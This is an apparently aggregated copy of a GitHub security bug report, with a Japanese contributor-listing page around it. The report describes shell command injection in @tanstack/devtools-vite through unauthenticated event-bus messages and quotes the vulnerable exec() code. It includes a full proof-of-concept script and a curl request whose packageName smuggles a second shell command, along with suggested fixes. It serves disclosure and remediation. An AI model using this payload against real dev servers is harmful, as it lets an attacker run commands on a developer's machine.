Unauthenticated devtools event can trigger shell command injection during package install
メンテナーはふだん 1 日以内に返信
まだ誰も着手していません。
評価
- 難易度
- 4/5
- 見積もり時間
- 3〜5日
- 初心者へのやさしさ
- 52/100
- issue の種類
- バグ
- 明瞭さ
- 明確に書かれている
- 活発さ
- 活発
- 技術スタック
- node.js, typescript, vite
調査の方向性
packages/devtools-vite/src/package-manager.ts と packages/devtools-vite/src/plugin.ts から始めて、packageName がインストール処理に入るまでを追跡し、その後 packages/devtools-event-bus/src/server/server.ts を調べて未認証メッセージの処理を確認します。提供された Vite プロジェクトで問題を再現し、install-devtools イベントと bump-package-version イベントで注入された shell 構文が実行されなくなっていることを検証します。
索引モデルが issue の本文から書いたものです。
説明
TanStack Devtools version
@tanstack/[email protected]
Framework/Library version
Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64
Describe the bug and the steps to reproduce it
@tanstack/[email protected] appears to allow command injection through the development devtools event bus.
When the Vite plugin runs in development mode, it starts a TanStack Devtools event bus, normally on localhost:4206, and registers handlers for events such as install-devtools and bump-package-version.
Those handlers trust the event payload's packageName value and pass it into installPackage(). installPackage() then builds a package-manager shell command string such as:
npm install -D ${packageName}
pnpm add -D ${packageName}
yarn add -D ${packageName}
bun add -D ${packageName}
The command is executed with child_process.exec(). Because packageName is not validated, escaped, or passed as an argv element, shell metacharacters in the event payload can execute local commands in the Vite dev server process.
Relevant source locations:
packages/devtools-vite/src/plugin.ts
packages/devtools-vite/src/package-manager.ts
packages/devtools-event-bus/src/server/server.ts
The Vite plugin starts the event bus:
const preferredPort = args?.eventBusConfig?.port ?? 4206
const serverHost =
typeof server.config.server.host === 'string'
? server.config.server.host
: 'localhost'
const bus = new ServerEventBus({
...args?.eventBusConfig,
port: preferredPort,
host: serverHost,
})
devtoolsPort = await bus.start()
The same plugin registers package-installation handlers:
devtoolsEventClient.on('install-devtools', async (event) => {
const result = await installPackage(event.payload.packageName)
...
})
devtoolsEventClient.on('bump-package-version', async (event) => {
const { packageName, minVersion } = event.payload
const packageWithVersion = minVersion
? `${packageName}@^${minVersion}`
: packageName
const result = await installPackage(packageWithVersion)
...
})
The command injection sink is:
const getInstallCommand = (
packageManager: string,
packageName: string,
): string => {
switch (packageManager) {
case 'yarn':
return `yarn add -D ${packageName}`
case 'pnpm':
return `pnpm add -D ${packageName}`
case 'bun':
return `bun add -D ${packageName}`
case 'npm':
default:
return `npm install -D ${packageName}`
}
}
export const installPackage = async (packageName: string) => {
...
const installCommand = getInstallCommand(packageManager, packageName)
...
exec(installCommand, async (installError) => {
...
})
}
The event bus forwards unauthenticated WebSocket messages to server-side listeners:
ws.on('message', (msg) => {
const data = parseWithBigInt(msg.toString())
this.emitToServer(data)
})
Steps to reproduce:
rm -rf /tmp/tanstack-devtools-vite-poc
mkdir /tmp/tanstack-devtools-vite-poc
cd /tmp/tanstack-devtools-vite-poc
npm init -y >/dev/null
npm install vite @tanstack/[email protected] >/dev/null
cat > vite.config.mjs <<'JS'
import { defineConfig } from 'vite';
import { devtools } from '@tanstack/devtools-vite';
export default defineConfig({
plugins: [
...devtools({
logging: false,
}),
],
});
JS
cat > index.html <<'HTML'
<div id="app">tanstack devtools vite poc</div>
<script type="module" src="/src/main.js"></script>
HTML
mkdir -p src
cat > src/main.js <<'JS'
console.log('tanstack devtools vite poc');
JS
rm -f /tmp/tanstack-devtools-vite-pwn
NODE_ENV=development npx vite --host localhost --port 5173 > /tmp/tanstack-vite.log 2>&1 &
VITE_PID=$!
sleep 2
node --input-type=module <<'JS'
import { WebSocket } from 'ws';
const ws = new WebSocket('ws://localhost:4206/__devtools/ws');
ws.on('open', () => {
ws.send(JSON.stringify({
type: 'tanstack-devtools-core:install-devtools',
pluginId: 'tanstack-devtools-core',
payload: {
packageName: 'definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #',
pluginName: 'PocPlugin',
pluginImport: {
importName: 'PocPlugin',
type: 'jsx'
}
}
}));
setTimeout(() => ws.close(), 500);
});
setTimeout(() => process.exit(0), 1500);
JS
sleep 5
test -f /tmp/tanstack-devtools-vite-pwn && echo "VULNERABLE: marker created"
kill "$VITE_PID" 2>/dev/null || true
sed -n '1,80p' /tmp/tanstack-vite.log
Observed output:
VULNERABLE: marker created
[@tanstack/devtools-vite] Installing definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #...
[@tanstack/devtools-vite] Successfully installed definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #
[@tanstack/devtools-vite] Auto-adding definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; # to devtools...
[@tanstack/devtools-vite] Could not add plugin. Devtools file not found.
The marker file is created, showing that the shell parsed and executed the injected command.
I also reproduced the same issue through the HTTP event endpoint:
curl -X POST http://localhost:4206/__devtools/send \
-H 'Content-Type: application/json' \
--data '{"type":"tanstack-devtools-core:install-devtools","pluginId":"tanstack-devtools-core","payload":{"packageName":"x; touch /tmp/tanstack-devtools-vite-pwn; #","pluginName":"PocPlugin","pluginImport":{"importName":"PocPlugin","type":"jsx"}}}'
Impact:
I understand this package is intended for development tooling, so I would not describe this as a production application RCE. The narrower issue is that an unauthenticated local devtools event endpoint can trigger package-manager command execution with attacker-controlled shell syntax.
By default this is primarily a local development server risk. However, development servers often have access to source code, package-manager auth tokens, local environment variables, dependency credentials, and the developer's filesystem. The risk can also increase if the dev server/event bus is exposed through server.host, a tunnel, a container port mapping, or a shared development environment.
Suggested fix:
- Avoid constructing package-manager commands as shell strings.
- Use
spawn()orexecFile()withshell: false, passing the package name as a separate argv element. - Validate package names with a package-name parser such as
npm-package-arg, or restrict this event to a known allowlist of TanStack devtools packages. - Require a per-dev-server random token for mutating event-bus actions.
- Check WebSocket
Originwhere possible. - Avoid
Access-Control-Allow-Origin: *for mutating event endpoints. - Consider requiring explicit user confirmation before package-install actions.
Your Minimal, Reproducible Example - (Sandbox Highly Recommended)
The reproduction above is a complete local shell script. It creates a minimal Vite project from scratch, installs only vite and @tanstack/[email protected], starts the dev server, sends the event payload, and checks for the marker file.
Screenshots or Videos (Optional)
No response
Do you intend to try to help solve this bug with your own PR?
No response
Terms & Code of Conduct
- I agree to follow this project's Code of Conduct
- I understand that if my bug cannot be reliable reproduced in a debuggable environment, it will probably not be fixed and this issue may even be closed.
- 主要言語
- TypeScript
- スター
- 514
- フォーク
- 105
- 平均マージ
- 1日 17時間
- マージ済み PR(30日)
- 6
環境構築
- Dockerfile・Docker Compose ファイルなし
- プルリクエストのテンプレートあり
- コントリビューションガイドを読む
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
TanStack/devtools のほかの issue
-
Production stripping misses plugin factory imports, leaving unused Hotkeys font assets対応中かも このイシューにリンクされたプルリクエストがオープン中、またはマージ済みです。 オープン
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
TanStack/devtools#562 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
難易度 5/5 1週間以上 初心者へのやさしさ 25/100
TanStack/devtools#556 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
devtools-vite: four transform hooks have no filter, and inject-plugin parses pre-bundled dependency chunks対応中かも @shkumbinhasani が 33 日前に担当しました。 オープン
難易度 3/5 1〜2日 初心者へのやさしさ 38/100
メンテナーはふだん 1 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 52/100
TanStack/devtools#534 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
難易度 3/5 1〜2日 初心者へのやさしさ 68/100
TanStack/devtools#522 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
TanStack/devtools の issue をすべて見る
似ている issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
fb55/htmlparser2#2579 ·
メンテナーはふだん 1 日以内に返信
-
bug good first issue needs-review
難易度 1/5 1〜3時間 初心者へのやさしさ 83/100
メンテナーはふだん 1 日以内に返信
-
Add Module DB Rulesオープンdocumentation public
難易度 1/5 1〜3時間 初心者へのやさしさ 68/100
midnightntwrk/umbradb#65 ·
メンテナーはふだん 2 日以内に返信
-
area/channels kind/bug priority/medium
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
nanocoai/nanoclaw#4501 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
needs verification
難易度 2/5 1〜3時間 初心者へのやさしさ 74/100
メンテナーはふだん 13 日以内に返信